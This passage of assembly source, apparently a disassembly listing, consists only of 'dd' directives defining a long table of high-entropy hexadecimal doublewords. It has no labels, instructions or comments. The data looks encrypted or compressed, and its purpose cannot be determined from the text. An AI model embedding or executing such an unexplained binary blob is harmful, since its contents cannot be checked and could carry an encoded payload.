		dd 5964507Bh, 15769002h
		dd 55FE8710h, 365E0FEAh, 70517B27h, 77013B92h, 9BD8B4C9h
		dd 0E5C6475Eh, 0C8B5278Eh, 32E41E1Fh, 7994E909h, 908EC412h
		dd 35B5299Bh, 7337122Dh, 802E78C9h, 43E6EB4Ah, 5EB2F24Eh
		dd 43131E4h, 439682BBh,	0B152FA7Eh, 5F0F09BAh, 0DCADB5F4h
		dd 9609DE51h, 0BFCB99h,	8939E343h, 18252585h, 46F4685Ch
		dd 7C10019h, 0A6960EEBh, 0D7F30481h, 0BD7F6CF1h, 0CB419F4Ah
		dd 5D6FC634h, 0F319D6Bh, 94D2C13Ah, 5EDCEFE7h, 1E8B6B0Fh
		dd 1BC00F74h, 17174D81h, 0C6BF3Eh, 444AAE30h, 0EA003A5Eh
		dd 6063B42Ah, 97FF6AA2h, 1611C804h, 2359BE05h, 25C3C1B4h
		dd 37EC8E8Ch, 2D019320h, 645E800Fh, 101850h, 0ACCF5A40h
		dd 43809EE5h, 0BEB680F1h, 92FD8E82h, 5A4EB8B0h,	0E68640BDh
		dd 29605170h, 279651BDh, 4A832F1h, 0C15D6895h, 4C508C1Bh
		dd 134A8147h, 830063E7h, 6FD9AB5Fh, 0DB3A3C08h,	253BC84Ah
		dd 976072FBh, 0DF92A953h, 191055F6h, 0F8129E2Ah, 4BB753F0h
		dd 8150C45Ch, 12F2106h,	52CC82Bh, 3CEA880h, 0A001D7D9h
		dd 0D18BED71h, 6F39840Fh, 0C123835Fh, 8954617Dh, 0E054E978h
		dd 12447942h, 8E60B585h, 0EF028150h, 1E2DDEA9h,	102A80E8h
		dd 79C1FEDBh, 4CF77C2h,	3AF11531h, 93ED8793h, 4EF94003h
		dd 0BCE46A5Bh, 8F1B37BFh, 6EC10E0Eh, 2F0DCC1Ah,	0AF218C48h
		dd 0D2595810h, 80F1703Fh, 8723D017h, 52E9E65Bh,	8B27A288h
		dd 0F7041144h, 3E192D21h, 859060AEh, 458E0405h,	0A9883A67h
		dd 0C50A0F11h, 8440A1D0h, 66279B9Fh, 0CB14481Eh, 63F16Dh
		dd 8AB676A3h, 2600AD93h, 9EEE38CFh, 12694F5Bh, 0FC5F70D7h
		dd 0DBF68348h, 89B5D954h, 0C72C15C9h, 0A65C5B25h, 0AB1BDE1h
		dd 0A25A5672h, 0C19529AAh, 60107D25h, 0C0E5B5B2h, 19250EC4h
		dd 20E8EC21h, 0CDB990CDh, 53E55B00h, 0E9847D9h,	318269Ch
		dd 0B0DEFC20h, 0CD5CAA54h, 784C0989h, 8ACD755Bh, 6AC7FDE0h
		dd 7C809C6h, 7E82A8B8h,	16571329h, 21FD22E3h, 0CABD5994h
		dd 0E0D652FEh, 0B40EBBE9h, 0C2287732h, 54D98501h, 0C02B0B0Eh
		dd 41C37D5h, 6454BAEh, 124D0CE5h, 0F6F88AD2h, 2DA6D2CCh
		dd 0D2788A0h, 80ED545Fh, 1317B1C4h, 5E5B3BA0h, 706ECCh
		dd 76EF70D0h, 2D08BF1Ah, 8270F072h, 4AE07195h, 0D1D402C3h
		dd 0A3D14896h, 5D0999ACh, 5A895C19h, 0D4877Eh, 15E92B35h
		dd 9160C899h, 12E26290h, 7E5671BDh, 0A4C0A894h,	95EF8ADAh
		dd 8122E952h, 8AF54E01h, 80512203h, 38F3E3BEh, 0CE53B8B7h
		dd 0A5116926h, 1764FFCDh, 0F808C761h, 4D02BF8Dh, 0FF5CC50Fh
		dd 2066E1h, 42E6437Eh, 778FBABFh, 0D502ED74h, 0E7EB0E66h
		dd 510A744Ch, 59B368A4h, 164BC4Ah, 10E098CBh, 60053BB8h
		dd 149DDA3Ch, 48C2F14h,	5F8178BDh, 5167713Ah, 5EF7B240h
		dd 6414BF94h, 4228613h,	17E8DDFDh, 265A7109h, 76E40B7Eh
		dd 2D0A5FCh, 0F9834997h, 0B77AEF2Bh, 0C4461417h, 1C1CBC60h
		dd 2A919529h, 0EE019184h, 7D012E7Ah, 6D9072C2h,	799668FCh
		dd 0CA6C1F41h, 0BFF90B2Fh, 9F75015Ch, 0A3636582h, 0D5C899Eh
		dd 0E6B05526h, 0CD09DBD5h, 0D321D88Ah, 637BA729h, 1AFEB50h
		dd 0CA63A22h, 3152496Ch, 0E2493A06h, 9D1CE6FCh,	0F900F079h
		dd 533AB19Ch, 992C0FA4h, 91876F11h, 66BB9050h, 325865Eh
		dd 0BC03C15Bh, 0F688DCDEh, 137ABDh, 2C68F2B3h, 0BFFB4A5Eh
		dd 56603409h, 1D2ED00Eh, 65D4A5D3h, 21C0E7EDh, 23A03C1h
		dd 0AF61685Dh, 6C759BF8h, 0B99D4A32h, 1EC54B6Bh, 0C4D8DEBEh
		dd 88AA472Eh, 9800F595h, 66FE26DAh, 555421h, 0A7ACF1CFh
		dd 1A018D29h, 0CE092797h, 0F4ABF679h, 0FD9B532Fh, 8195F82h
		dd 7E4B3C7Eh, 0B80716C9h, 0A66BB400h, 0D8849300h, 0D9AD8CCBh
		dd 3F96C916h, 47804ABCh, 0D36481A0h, 0EF027F74h, 6CA71459h
		dd 0E86D95Fh, 44C4978Bh, 6BE2AB0Bh, 0A15DF513h,	6BF72E75h
		dd 710366B0h, 8B8ACE03h, 8CEB80DEh, 0DFA8D8EBh,	0F1731B9Dh
		dd 6DF289FAh, 6D87E0E6h, 0EC0209D9h, 0F251C06h,	9F20598Ch
		dd 6EEDA295h, 0E66A58F5h, 97A9B4C3h, 2AF9049Ch,	288EE821h
		dd 0CB73F360h, 558C8E5Bh, 50D417E2h, 0BF81A061h, 0D2193F2Fh
		dd 0D34D9DE8h, 27CA05C0h, 53BB043Fh, 819F2AD7h,	6B1F692Dh
		dd 0F0BB2E9Dh, 0E95E20A5h, 0B519B370h, 0F218D170h, 576D8B78h
		dd 0F32AED5Fh, 0F39D1234h, 0EE1BC0ABh, 2F006C0Ah, 21D045ACh
		dd 0A0161Eh, 0BBEFBE86h, 3E1DB52Bh, 26DB7995h, 1581718h
		dd 8F3B2FB8h, 62373A29h, 49EFF8F4h, 5B2FC06h, 0C3007651h
		dd 0CB777D2Fh, 0B32E3BADh, 0A166D314h, 0AE9950Bh, 0BFA936D7h
		dd 0BA026335h, 0C6AE9F31h, 0E2140305h, 4F2183D7h, 0CADD743Ah
		dd 418E2DE3h, 2CF42D1Ch, 61160BDEh, 0FE598F8Dh,	9D296082h
		dd 47C58D5h, 0E961FBB7h, 9DF3B228h, 44CE5465h, 0EE63E8F8h
		dd 0CAAC7F95h, 70971807h, 16F0960Ch, 95FC8A1Eh,	0DE2D82B7h
		dd 0C52980E0h, 33086C3Dh, 2427D290h, 1A8D45BEh,	9BFE5F90h
		dd 164AF309h, 37E2E02h,	22FF681h, 32CD65Ch, 51607321h
		dd 58D30C17h, 7ADEE50Ch, 10551CF2h, 95094261h, 95608BDh
		dd 51746DEh, 54D1D316h,	7CC4998Ch, 0B9DF1F46h, 89A18026h
		dd 2231E7D6h, 0A520D4B0h, 295F2D19h, 0ED2503FCh, 601DE4B8h
		dd 1562FB6h, 0C2303E6Eh, 3031FDE7h, 649AC170h, 0C1BD59B5h
		dd 0ECC3801Eh, 0A7259217h, 59C27BA4h, 4CF21815h, 43138EB2h
		dd 92D8E8C1h, 5FF5DB09h, 4597BD6Ch, 7FAE0140h, 6AC568D1h
		dd 0C64C1FF6h, 63106E14h, 12DF392h, 4B4D381h, 76BC0AF2h
		dd 0AA11C709h, 5C491CD1h, 6D00D4B7h, 4F19C4E1h,	9EC77E47h
		dd 0BBDD252Eh, 39181356h, 4A0AA21Bh, 0F0E18E12h, 25D426D4h
		dd 0E9EE79FFh, 7F835BDh, 32BEC931h, 71D47D85h, 0DCB88689h
		dd 6601F69Dh, 0C8C7BB13h, 2C788F0Fh, 0C8A08DEh,	824BF1A5h
		dd 2B49B509h, 555A5576h, 96657F4Ch, 0C8A71038h,	0E20CAC4Bh
		dd 966BE150h, 1EF14026h, 42757CB0h, 12893B4Ah, 65F71AC1h
		dd 286CF15Eh, 0DAA65A52h, 8086C997h, 725CFD0Ch,	4F8C4BAh
		dd 81B2C0D6h, 0BE1280F3h, 96315B38h, 0FEBFF250h, 98EF36Bh
		dd 55B3E780h, 0E9E1C14Fh, 2BFC7E32h, 11BD2C89h,	8356ADE6h
		dd 259D8ED6h, 98F78D58h, 40C59D81h, 2EED2B08h, 8F2B45E5h
		dd 248A4B27h, 84D35F27h, 76A6DD8h, 0BFCB23B4h, 1AAD7231h
		dd 15D401FFh, 0B06EB70Fh, 114B715Dh, 778985DEh,	0BD6B2EA0h
		dd 0A54AEB80h, 75112DF2h, 0C2DAE423h, 4338EAC0h, 0B5091D78h
		dd 9DF2BF3h, 0AE7A554Ch, 9C4934Bh, 0EA3135FBh, 6E80A09Eh
		dd 11699529h, 0E4F66DB5h, 43E36015h, 123775BBh,	8233A61h
		dd 0F8242297h, 50BCB604h, 0BFDECCBEh, 0A5886A3Dh, 0B7550902h
		dd 4B6382B0h, 0DBEC78D8h, 5195890Ah, 0B73E6605h, 85C108FEh
		dd 78402A81h, 0B73C1F14h, 63EF4D6Dh, 805AA3BFh,	255D51DCh
		dd 9F631B4Dh, 9BC4F74Ah, 0D977DCAFh, 242A2841h,	1B13EE15h
		dd 5AF9C709h, 9B18D011h, 105FF31Ah, 5BBFBA4Ch, 88A93FDAh
		dd 1A610A30h, 5D902F7Ch, 0B201130Fh, 6E1C211Eh,	1DE070E4h
		dd 0D9A3502Eh, 0A5763160h, 3F8D2932h, 0BD0B2D41h, 742E2F7Dh
		dd 0F87B2AAh, 64B38D5Dh, 4A87B2BFh, 0AA171184h,	0E2019062h
		dd 0B64D55Eh, 0AE702ABBh, 567E00F4h, 0A55A762Fh, 0CE92C954h
		dd 29D7E50Bh, 2361285h,	572051C2h, 7F675BF9h, 6FEA130Eh
		dd 6AA60BD7h, 54511802h
		dd 17F7E90h, 9A7DF8F1h,	734207F2h, 0A9F007F6h, 1200705Bh
		dd 0B089F7Bh, 6C99314Ch, 2244E9D0h, 0A6BB0490h,	0FB2C9536h
		dd 5A5E5491h, 6121A4DBh, 0A78D7E90h, 16716A60h,	652BB5FBh
		dd 1405BCA7h, 10E75297h, 61090F19h, 0A2559D89h,	5CB1E945h
		dd 211E7190h, 0D66F3A8Ah, 26C1FA00h, 0F855E96Bh, 0F4A8429Dh
		dd 0F83EDCD3h, 2F0BA74h, 0BD037E72h, 9768F8C5h,	0C1FE03F6h
		dd 8C0FF998h, 8A198902h, 0F1C929FAh, 99C100A9h,	1A3EF8DCh
		dd 24494602h, 0D6EAAF03h, 0A87089CDh, 1751E173h, 9B094918h
		dd 73F8B939h, 0B5524D8h, 0FE562F79h, 0FC30D552h, 0F210CDC7h
		dd 0E6974CCFh, 0D5F4A28Dh, 29B5F583h, 3AE35702h, 0C11CFEEDh
		dd 813C2DE6h, 0CBA6A94Ah, 8011F30Ch, 0FB583DD9h, 120038B3h
		dd 5B603283h, 4A30AAB9h, 74E430B0h, 85004999h, 0BF70E6B4h
		dd 1321329Ch, 1271E424h, 0DB52AEDFh, 2032D9FEh,	245EF133h
		dd 52563F2h, 0AA6AAD56h, 71AB2812h, 140D84A7h, 55D2D1EFh
		dd 594C88F1h, 1F611630h, 17CF41A4h, 2E3407D9h, 75898609h
		dd 74574AEAh, 0C0811C3Bh, 7BDE7243h, 0F85DC82Bh, 0B3837685h
		dd 411017D1h, 0E664AB25h, 550471ACh, 83604947h,	84115FF2h
		dd 9C6111EDh, 2ACFFCE2h, 7C438CB5h, 2889A5F9h, 12D59B30h
		dd 0E518D37Fh, 8120CA64h, 0DB5E2C3h, 3DE92286h,	57554117h
		dd 52362E2Fh, 1B8525A0h, 244552CCh, 0E7DAD092h,	958D081Ah
		dd 64D1BA25h, 89A8FD7Fh, 80F73DAh, 0B7259EB6h, 0D9E700DCh
		dd 1C617763h, 1057AE5Ch, 0BB032F11h, 26A09BAFh,	0E8055A4Ah
		dd 9DABDDC5h, 0AA9A3F81h, 0B9DA4D83h, 60DFCC26h, 0FC692BBh
		dd 79C7BBAh, 2BADB633h,	5CB55482h, 9D2D2838h, 10BB2B56h
		dd 2B7D2619h, 585EC02Bh, 2301CF17h, 8B6051F8h, 163B3D95h
		dd 1286A2EFh, 0F3EBD7FCh, 61B7804Ch, 9CD22B5Fh,	5195DC84h
		dd 76A804FAh, 0C562C21Dh, 6FF51AEAh, 466CE959h,	270AF9B5h
		dd 2BC0F06Dh, 0FCC267F8h, 487E7016h, 0BD137010h, 2565AE08h
		dd 4D00D6A2h, 96DF3A75h, 1B00CB85h, 9BADA61Dh, 0A9D0DDh
		dd 467D8C7Bh, 20A4BB2Ah, 756F0E41h, 0A070F624h,	277480Fh
		dd 3198A22Ch, 9F5C84EDh, 8EDC0955h, 954A447Fh, 2F5DC2FCh
		dd 726A14B0h, 53B8A9Dh,	77176D09h, 7D9714E6h, 58CDA890h
		dd 0B3F9EB04h, 0A8B81E36h, 2295BA2h, 0D7079998h, 0ECC12232h
		dd 0BF661004h, 0FEE24B5Eh, 614A1A6Ah, 8B056768h, 0FFAAD04Eh
		dd 560D4085h, 0E9AC0FBDh, 0C06B4CF1h, 0BDAAE458h, 0E1FF01FDh
		dd 0D4EC62BBh, 0B2282E71h, 9B5E8A08h, 57ECFE42h, 4DDE7F92h
		dd 0EFD4A907h, 5D45D391h, 0CDD8B22Ah, 0C420D5FFh, 0C994970Ch
		dd 499D0B0Bh, 71FD562Fh, 0D63EAFAAh, 5901DE24h,	8BB1C535h
		dd 0B03960F8h, 0BB0464B8h, 5F02AA18h, 8F1892ABh, 1AC2A131h
		dd 92D50F1Ah, 0B1417DFAh, 9B322E19h, 0F46F552Eh, 77283461h
		dd 2E37082Bh, 0B53A402Dh, 0F82BEF87h, 56F9CBAFh, 105FCAF6h
		dd 880F0E18h, 0B05A1009h, 2D0EB910h, 0D621D5AEh, 0AFC180C4h
		dd 6E6B2404h, 0BF7C160Eh, 0FD8A5746h, 890F1144h, 0F9FC2F01h
		dd 0A28B6461h, 0D2277h,	7F77414Ch, 2C482E60h, 8DA67D01h
		dd 310FF68Eh, 0EA28243Ah, 3312B1A3h, 8FF4EA60h,	5A1E1245h
		dd 417AA558h, 0E2DB319Fh, 902F9CDEh, 5F58FA5Fh,	0B22CF6F8h
		dd 8AB73016h, 0DF04DA7Eh, 6E67579Bh, 0C5D070B8h, 0D0047D13h
		dd 0E96C4A42h, 3D01BE27h, 62D71801h, 39970BCDh,	0B22AF538h
		dd 1AFA815h, 9A4A1CDDh,	7AEDE780h, 812F86E6h, 0F967B37Ch
		dd 0FF01F780h, 0D9124A0Bh, 7B12FAFBh, 848F50F4h, 0D9E1DDA0h
		dd 0C4277493h, 9DE47BC5h, 0B6495F1h, 185548BAh,	0E2B15F12h
		dd 0C130A82Bh, 2F0DBD09h, 6B579611h, 5DF99709h,	1D4564C8h
		dd 366E2BFBh, 0FB416804h, 0D6D9ACEAh, 0AD80319Bh, 6ED2376Dh
		dd 0D9D38100h, 68117A28h, 4F600021h, 8F27BB0Ch,	0E09549CFh
		dd 7C63DE46h, 0C9B7B750h, 54403D1Ch, 606B2F41h,	91BD1223h
		dd 670AB1Ch, 17FCA0BFh,	31907CB2h, 605AEAECh, 507D3345h
		dd 16B62A00h, 0EDAC77C8h, 92079751h, 4B00BBBEh,	392736D0h
		dd 906126h, 2FDB7F60h, 261702A5h, 45718891h, 0D5FC625Fh
		dd 38698BEDh, 58D263A6h, 0CD27A102h, 18B747A9h,	37163496h
		dd 868D38ABh, 2E9154Bh,	2D466C0h, 1600E0EEh, 0A1DE0F42h
		dd 2F6EFF2Eh, 1F74BCC5h, 2CAB9D13h, 0BB881C03h,	0DFD806B6h
		dd 152DE974h, 0E7F38102h, 0DD3CFD35h, 0A874F6B2h, 0DD165949h
		dd 50A4532Dh, 6B00E337h, 7DAFCC14h, 95F918F7h, 4F9D1A90h
		dd 2EE8FB02h, 5DAFB380h, 66006FB7h, 5FC7D8D0h, 259CB60Fh
		dd 21784D54h, 2778204h,	968A39FBh, 24ADE5E7h, 2DE487Eh
		dd 0DC20BFA3h, 0D67C4128h, 0D6DAFC2Dh, 1E701752h, 25570AFBh
		dd 0D2A22B00h, 95F913BDh, 33D1F49Ah, 3BE48701h,	0F0F0CB91h
		dd 0D0A5049Eh, 0C53152C1h, 0EA44C5F9h, 6C4773D9h, 0D8B3B24Eh
		dd 11165C4Ch, 0E5E2D810h, 0C918A5FCh, 5BDA60AAh, 86F19F96h
		dd 81D6CB80h, 3A64EC2h,	0ECCF9A58h, 2C5E504Ch, 2BBD24ADh
		dd 0B87121FBh, 7A6B2A4Fh, 4381623h, 0DE8A9688h,	4897B3AAh
		dd 7E9F90h, 5D08C6AAh, 26B1D7Eh, 25D9D1FEh, 0EDD5A46Fh
		dd 90F36B55h, 0A3882300h, 442DD6Dh, 0E74C9644h,	212AF09h
		dd 0B1D251BCh, 0ECF73E49h, 28296EA0h, 0F593120Eh, 5FE3B271h
		dd 0A2131958h, 603C8CF9h, 0CC25895Eh, 0BE698B0h, 0C2836155h
		dd 1DEC77Eh, 31B021EAh,	70D1DF80h, 851237BFh, 66E16B68h
		dd 0AC61342Bh, 4FF1D63Dh, 8B34DE7Eh, 5717990h, 0AB334F45h
		dd 9EFFB152h, 72EC859Bh, 78D6F080h, 81215BFEh, 2BBB7A98h
		dd 67A948EDh, 0A6DA0221h, 416A72ACh, 42FE9C9h, 4222C10Fh
		dd 721B1BDh, 0BCB31250h, 6D5529DFh, 268FC3BAh, 4AF56238h
		dd 1BF238E6h, 2572E30h,	40906F91h, 30D7FEDAh, 4351B5D7h
		dd 0AF69C81Ch, 41DCEC1h, 94DBAE07h, 70CC50F4h, 1ED47EDAh
		dd 9F98AC34h, 7FE40A16h, 0B75F2584h, 8F5004Ah, 35BA4D22h
		dd 951CD095h, 3161B6F6h, 0C355F195h, 4380CABCh,	0D4035B92h
		dd 0ED0A4900h, 4CDE608Fh, 9FD27AFh, 2A5B44E1h, 7E3FACB1h
		dd 98E104A2h, 0BDAE2960h, 0BD1776B9h, 8F490CB9h, 1AA10431h
		dd 0E536F6BFh, 0D80B0CA6h, 28F9Fh, 0C450B45h, 0A9F96227h
		dd 694F5543h, 0F4B8F3E4h, 0C92E3EA2h, 0F4C6D58Fh, 0C6F3E325h
		dd 0AF8CD3D3h, 7FC66BC2h, 190B79BDh, 0C1AFC039h, 0D31E9732h
		dd 9D3E029Dh, 0E9CA686Dh, 0B1099759h, 3DC119EDh, 0B43AFC72h
		dd 2B402D23h, 0EE97E28Dh, 8E6D9D3Ch, 88E412E3h,	17B40A86h
		dd 0F92B866h, 89A4BF7Dh, 0B9F6C48Dh, 14B9E8EBh,	90D18AD2h
		dd 282D475Ah, 375D0B63h, 3CE0A56Fh, 3BB5263Dh, 0F9498422h
		dd 0A055E4DDh, 9F12913Ah, 7CD069D3h, 0B24A01C4h, 0FC294CFh
		dd 1746298Bh, 22FF8952h, 655F5F45h, 0EBC00089h,	45714BF4h
		dd 0CFF33F02h, 40F01838h, 0E017944h, 0CB762E60h, 44C7F640h
		dd 0A6074D6Ah, 72CE6C67h, 0CCE0E7CFh, 0F2F3E4C0h, 8F630142h
		dd 0FF4AD37Eh, 0C83FE0FDh, 0E6C7FB01h, 5D75EDC1h, 54BF2088h
		dd 1D5B3E08h, 131B06A8h, 5E481141h, 0C7A0004Fh,	0BFFFEC07h
		dd 5A08CC1Fh, 8008121h,	0F7CF398Bh, 1F03988Fh, 0B9BD9AC4h
		dd 3D0653BFh, 70E701EEh, 0DF206EF0h, 0DA4D0C50h, 2E78FBCCh
		dd 90B74001h, 49CF6EC7h, 0DE612083h, 3807E1C1h,	0CE3DFB32h
		dd 0F49C976h, 0FAF293Bh
		dd 66634B80h, 0C200B18Dh, 7636A768h, 0FE274Ah, 0F8DA7F8Ch
		dd 0CDBB1A1Bh, 688D510Eh, 0EEEF60h, 89B68659h, 16DD00B3h
		dd 3D185F7h, 0FB03095Ah, 6EB4F58Fh, 8405C01Fh, 3DE6CBh
		dd 39A64A07h, 4E89FFACh, 1265E601h, 34884917h, 15B4FD4h
		dd 5118CE6Dh, 0C81BAF70h, 0E4003EA1h, 36EC832h,	7B8DD283h
		dd 0C3C618CBh, 26CA6EC2h, 45E6AF0Eh, 9ADFE052h,	17CB5EDh
		dd 0CEE80865h, 0C495F967h, 4B0004ABh, 0A5E68EB6h, 5D477Ah
		dd 0EC6A75B4h, 871FDA2Dh, 0D7B039h, 0C45C5EC8h,	34B3845h
		dd 0DFEED672h, 1800C1D0h, 5A27A4A7h, 0B4598Bh, 2DE74797h
		dd 0A8550201h, 2030B0E5h, 19B0D03Bh, 38D978C7h,	7792983Ah
		dd 185A9120h, 292A3892h, 0FE000547h, 5F26B08Fh,	0CC1EA8D4h
		dd 6E214108h, 28FE0D03h, 0D88CF2B3h, 18C6B1A8h,	506B186Dh
		dd 0CC31CF26h, 0A455B9C2h, 708069B1h, 0D0A501F6h, 0E2542888h
		dd 1210C600h, 2348EAEh,	442E40A0h, 6840C90Ch, 0F1E4F01Ch
		dd 14CA7800h, 20D44FF3h, 0D37200CDh, 8A038FD0h,	0A7E8BF01h
		dd 6C749AF0h, 0BC3A9600h, 56B90785h, 0DAFC38CFh, 0A8C24BAh
		dd 9018843Ch, 0CD1F227Bh, 6F0FA13Dh, 3AB50D8Ch,	320253E0h
		dd 328AC98h, 61A6A586h,	0EA883200h, 0F70983FFh,	423A3C5Dh
		dd 53B90C80h, 2C5A6558h, 56D6901Dh, 6DBF3070h, 5228C8A2h
		dd 80552A40h, 0D69B0E32h, 7DA602EFh, 0DB067892h, 923127Fh
		dd 311C86D1h, 1019024Fh, 25C09CEFh, 20A13FC6h, 6E84298h
		dd 0A0AC2ACFh, 63861AC0h, 5C1521DCh, 0C9EF453Bh, 0F5F4EEBCh
		dd 80340226h, 0EC7F03AFh, 0E788DF8Ch, 423F1700h, 0F83ADFA7h
		dd 40CF0058h, 0C25B6E36h, 0FA6E4E0Bh, 8D6D40B1h, 75550B0h
		dd 0F1C02C33h, 0EC924053h, 51C6ADBEh, 731D34Eh,	24515CC7h
		dd 2012C0CEh, 20040C4h,	0CBBC2B58h, 32F717FFh, 0D178670Eh
		dd 2E668E20h, 0FE6205E5h, 0F077D99h, 5B102A0h, 8F422A90h
		dd 8A40981Eh, 94688136h, 48667FD2h, 713DBDh, 0D4608677h
		dd 0C22212F6h, 0A5D79C1h, 24429775h, 70FB2061h,	0D5004E86h
		dd 3AC7CB34h, 0A04F55BFh, 0E5F064h, 0EB59FDC6h,	0FB51A327h
		dd 21EC08CCh, 0C6ED0012h, 1944DD8Bh, 0FE049B9Ch, 0B5B89F77h
		dd 358DD000h, 30ED0DBEh, 75029C8Dh, 2A852E7Bh, 0E6D88204h
		dd 3F84828Eh, 12DCA20Ch, 80408F25h, 8D24DC08h, 301C6F96h
		dd 81AE7884h, 10B8E470h, 48EFE9D3h, 35790156h, 448A306h
		dd 0EA41188h, 160FC05Dh, 102B909h, 86E72B74h, 8EA0B11Ah
		dd 0E5CBD020h, 203C23F7h, 40A46FEh, 94792A8Eh, 56239C10h
		dd 0FCC6E401h, 0E518E359h, 98EC1388h, 3547001Ah, 7551C1CDh
		dd 5B0169A4h, 27A76D7Fh, 88500657h, 193F823h, 0F4DB8CE0h
		dd 98E384BBh, 4A211E08h, 0C39300F0h, 389B669Ch,	0FD018876h
		dd 0DF5DC2B0h, 29830933h, 0A5613A06h, 436B03Eh,	0BB785FDBh
		dd 0BCFBD881h, 9505CE07h, 34B004E3h, 54A842AFh,	0BEE8A0AEh
		dd 0CD55690h, 0DF4E0988h, 7E035139h, 0B574C6FAh, 0BFF7C0C1h
		dd 0D0CD0405h, 90A4EBEDh, 7C2A8790h, 242E5D01h,	1426079Bh
		dd 21BA0898h, 7C0022E5h, 1DB477C5h, 0EE7A8C63h,	0F8264878h
		dd 0A2FD200h, 0A058FCB9h, 0ADF4EF7Fh, 2AD0BF67h, 44A8C366h
		dd 0C0103622h, 8048E17Ah, 0B018B322h, 2C71A18Fh, 42264C5Dh
		dd 3B3ED603h, 0FEA336F0h, 96883072h, 0D0BA76B8h, 3D58D448h
		dd 0B0D2A503h, 48A61887h, 4408A876h, 38366C8Dh,	88B03086h
		dd 8E3969F0h, 0C0A2055h, 0B8A57B3Fh, 28BE020h, 328E6440h
		dd 0D0A3B6ADh, 0A8247B3Eh, 9C24E414h, 5412DD4Fh, 0C6E63460h
		dd 0F35923FEh, 1100E711h, 3CAAC6EEh, 99FA5A07h,	0C4EC7214h
		dd 0BA617A5Ch, 6C84D9E9h, 0E04059EDh, 0C249BED1h, 139C65F0h
		dd 1812C0B0h, 0D340AE05h, 84089022h, 46F8A0ABh,	7C2E0BE9h
		dd 0F8870861h, 0E14FB2C4h, 0D0927C27h, 8D6C225Bh, 83143890h
		dd 5A40465h, 5BD0DC1h, 9D87C808h, 0B8F406D5h, 9F0011BCh
		dd 362B645Eh, 34D4835Fh, 0C808473Eh, 5607FC78h,	0EA9AF164h
		dd 8E3C4630h, 97A9283Ah, 1E882B4h, 7DE00DECh, 406A2020h
		dd 0BC14D904h, 0A8CBDEFh, 0C4DF6C9Fh, 5B065211h, 0B1AFDC02h
		dd 5765D2FCh, 0D4324220h, 0C6E73053h, 0FB59FF10h, 0C688C0E4h
		dd 9075FCF5h, 9D99C16Fh, 0B0C814E4h, 2B80EC11h,	2C2E5E7Ch
		dd 0E4B3448Ch, 0DD7C2300h, 6B56C52Dh, 26E8B2A6h, 0C03022A7h
		dd 8CE593FDh, 1D22F346h, 93F54507h, 0A3107F41h,	249939ACh
		dd 4114615Bh, 0BFDE4E81h, 0CFC780C9h, 0B2E07774h, 0CE8D0271h
		dd 49584763h, 379FF8C0h, 5B7E58B8h, 59770205h, 68D2843Ah
		dd 3B04C088h, 0A8238BE8h, 93FF0120h, 18E38CE7h,	0F743881Bh
		dd 3199930Fh, 8E5242D1h, 0A42C4077h, 249F89A7h,	288489BCh
		dd 20E06E8Fh, 0F144CCD5h, 20B849B9h, 3C5A1700h,	1F5B1B4Fh
		dd 0F4532AE4h, 0ECD713FCh, 0BF8AA004h, 123C3E4Fh, 5F1C4499h
		dd 824B08BAh, 8EA02AF9h, 9108440Ah, 2E5010A3h, 681808CFh
		dd 0F5683D1h, 929036CAh, 0E403093h, 0C8C9F558h,	910C1FF7h
		dd 473F80BCh, 7688264h,	69AED9F3h, 0EC911118h, 0C82C4EF4h
		dd 4CB2C0BBh, 73031906h, 45EAF9C2h, 0A721021Fh,	0ABAC3259h
		dd 8DEC8082h, 60EA34A4h, 26607C2Dh, 701C3C2Eh, 7C0125E2h
		dd 4C5ADCC7h, 1982A6BBh, 32926D2Ch, 0C22FB460h,	0B52AC705h
		dd 30C2F752h, 6F8E2105h, 0D4AC4760h, 0DB4F06D4h, 95D507A1h
		dd 50F143A8h, 0FE969293h, 0C4FC2C2Eh, 3A97213Bh, 9C078A22h
		dd 0BC47C158h, 0F03663h, 7E9F8C50h, 0B801A5ECh,	536FD301h
		dd 45EE0778h, 30128420h, 5D408C7Ah, 92605C32h, 53682E58h
		dd 54080156h, 2712E774h, 0F2FC33D0h, 1EE033EDh,	2512E70Fh
		dd 7F0140FCh, 0B4ECDFE2h, 4EEA5980h, 0FF64D932h, 6C7AC200h
		dd 0DAB6917Dh, 9AFF6A3h, 53051395h, 5CC4940Fh, 80F0A4C6h
		dd 2A025988h, 44E88920h, 0C0EFE2ABh, 2507A09Eh,	0D34A392Fh
		dd 852A7230h, 0D0515194h, 8CF2E420h, 2D646004h,	0AB626F36h
		dd 4058FA22h, 2E8EDF57h, 0A4649922h, 0A7C00820h, 901FA93Fh
		dd 4674C82Ch, 39FD0EE8h, 0F9CFA08Bh, 0DD821002h, 50415958h
		dd 1EE21858h, 6359FAC6h, 1500EB11h, 0AB7EC6EAh,	0ED19D18Eh
		dd 0E04063B4h, 0FBBFB13h, 49EC8CC8h, 0CFFEB724h, 94343E00h
		dd 0EA3602E1h, 10F83CFCh, 0EB06C089h, 902C2C02h, 60F19C84h
		dd 232E6461h, 0A8117736h, 0F059F914h, 0C993020Bh, 0BE2CEC82h
		dd 3CD9D220h, 0EF4630C0h, 0A644A760h, 5BF45301h, 0D4A4BB7Fh
		dd 552EB082h, 0DC832DBAh, 81D8A032h, 58000986h,	245BE4A3h
		dd 0C0225E8Dh, 0B077BF20h, 20A7EC20h, 0C07EB388h, 26FE6DA6h
		dd 6ECC3481h, 4678A4F1h, 646202F0h, 1C7F362Fh, 645AF800h
		dd 6527BD4Ah, 0FC3148DFh, 57E977CEh, 0F4C0346Ah, 1F009D41h
		dd 1BBA4C06h, 60C68596h, 8EE58813h, 0A89C8D12h,	7C7D5103h
		dd 0EB3824C0h, 2BAD4074h, 160090A4h, 0D2FA8F89h, 12F077CCh
		dd 89B95CA8h, 0FF22D238h, 0CF47238h, 0EC56A034h, 0B930FEE8h
		dd 544619B1h, 0B8AD0177h, 648465FAh, 8795C445h,	0C3D2CFEh
		dd 1C7F00B5h, 51886141h, 75860F50h, 12E3E60Eh, 0B17C9171h
		dd 9F25633Bh, 0FD0C2684h, 3481990h, 0F89E7C85h,	9900ACECh
		dd 34D56802h, 305808h, 0CA2EBED8h, 7DA9B8Ch, 44BC1101h
		dd 0D62C12AFh, 0A59C184h, 84249030h, 2B3C054Eh,	98F87E43h
		dd 6619BA62h, 0C0042901h
		dd 0D548590Eh, 0C90E9863h, 0FC8073FFh, 2406927h, 0AD45F8B8h
		dd 0C71A430h, 87EC3DFDh, 800FBB1h, 1D850B4Ah, 0EAAC3805h
		dd 9124F06h, 0A8C16C00h, 0E420CC99h, 0EDC04C01h, 674966A5h
